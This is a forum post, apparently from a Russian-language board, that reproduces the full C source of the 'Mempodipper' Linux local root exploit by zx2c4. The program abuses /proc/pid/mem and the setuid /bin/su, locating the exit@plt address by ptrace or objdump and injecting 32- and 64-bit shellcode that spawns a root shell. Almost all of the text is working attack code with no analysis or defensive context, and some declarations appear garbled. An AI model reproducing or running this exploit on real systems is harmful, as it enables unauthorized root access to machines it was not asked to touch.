unsigned long ptrace_address()
{
int fd[2];
printf("[+] Creating ptrace pipe.\n");
pipe(fd);
fcntl(fd[0], F_SETFL, O_NONBLOCK);

printf("[+] Forking ptrace child.\n");
int child = fork();
if (child) {
close(fd[1]);
char buf;
printf("[+] Waiting for ptraced child to give output on syscalls.\n");
for (;;) {
wait(NULL);
if (read(fd[0], &buf, 1) > 0)
break;
ptrace(PTRACE_SYSCALL, child, NULL, NULL);
}

printf("[+] Error message written. Single stepping to find address.\n");
struct user_regs_struct regs;
for (;;) {
ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
wait(NULL);
ptrace(PTRACE_GETREGS, child, NULL, &regs);
#if defined(__i386__)
#define instruction_pointer regs.eip
#define upper_bound 0xb0000000
#elif defined(__x86_64__)
#define instruction_pointer regs.rip
#define upper_bound 0x700000000000
#else
#error "That platform is not supported."
#endif
if (instruction_pointer < upper_bound) {
unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
return instruction_pointer;
}
}
} else {
printf("[+] Ptrace_traceme'ing process.\n");
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
perror("[-] ptrace");
return 0;
}
close(fd[0]);
dup2(fd[1], 2);
execl("/bin/su", "su", "not-a-valid-user", NULL);
}
return 0;
}

unsigned long objdump_address()
{
FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
if (!command) {
perror("[-] popen");
return 0;
}
char result[32];
fgets(result, 32, command);
pclose(command);
return strtoul(result, NULL, 16);
}

unsigned long find_address()
{
printf("[+] Ptracing su to find next instruction without reading binary.\n");
unsigned long address = ptrace_address();
if (!address) {
printf("[-] Ptrace failed.\n");
printf("[+] Reading su binary with objdump to find exit@plt.\n");
address = objdump_address();
if (address == ULONG_MAX || !address) {
printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
exit(-1);
}
}
printf("[+] Resolved call address to 0x%lx.\n", address);
return address;
}

int su_padding()
{
printf("[+] Calculating su padding.\n");
FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
if (!command) {
perror("[-] popen");
exit(1);
}
char result[256];
fgets(result, 256, command);
pclose(command);
return strstr(result, "this-user-does-not-exist") - result;
}

int child(int sock)
{
char parent_mem[256];
sprintf(parent_mem, "/proc/%d/mem", getppid());
printf("[+] Opening parent mem %s in child.\n", parent_mem);
int fd = open(parent_mem, O_RDWR);
if (fd < 0) {
perror("[-] open");
return 1;
}
printf("[+] Sending fd %d to parent.\n", fd);
send_fd(sock, fd);
return 0;
}

int parent(unsigned long address)
{
int sockets[2];
printf("[+] Opening socketpair.\n");
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
perror("[-] socketpair");
return 1;
}
if (fork()) {
printf("[+] Waiting for transferred fd in parent.\n");
int fd = recv_fd(sockets[1]);
printf("[+] Received fd at %d.\n", fd);
if (fd < 0) {
perror("[-] recv_fd");
return 1;
}
printf("[+] Assigning fd %d to stderr.\n", fd);
dup2(2, 15);
dup2(fd, 2);

unsigned long offset = address - su_padding();
printf("[+] Seeking to offset 0x%lx.\n", offset);
lseek64(fd, offset, SEEK_SET);

#if defined(__i386__)
// See shellcode-32.s in this package for the source.
char shellcode] =
"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
"\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";
#elif defined(__x86_64__)
// See shellcode-64.s in this package for the source.
char shellcode] =
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
"\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
"\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
"\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
"\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
printf("[+] Executing su with shellcode.\n");
execl("/bin/su", "su", shellcode, NULL);
} else {
char sock[32];
sprintf(sock, "%d", sockets[0]);
printf("[+] Executing child from child fork.\n");
execl("/proc/self/exe", prog_name, "-c", sock, NULL);
}
return 0;
}

int main(int argc, char **argv)
{
prog_name = argv[0];

if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
return child(atoi(argv[2]));

printf("===============================\n");
printf("= Mempodipper =\n");
printf("= by zx2c4 =\n");
printf("= Jan 21, 2012 =\n");
printf("===============================\n\n");

if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
return parent(strtoul(argv[2], NULL, 16));
else
return parent(find_address());

}



Сообщение отредактировал V_P_Zadov - 17.06.12, 13:35


Полная версия   Текстовая версия

Помощь   Правила

Сейчас: 29.03.24, 08:48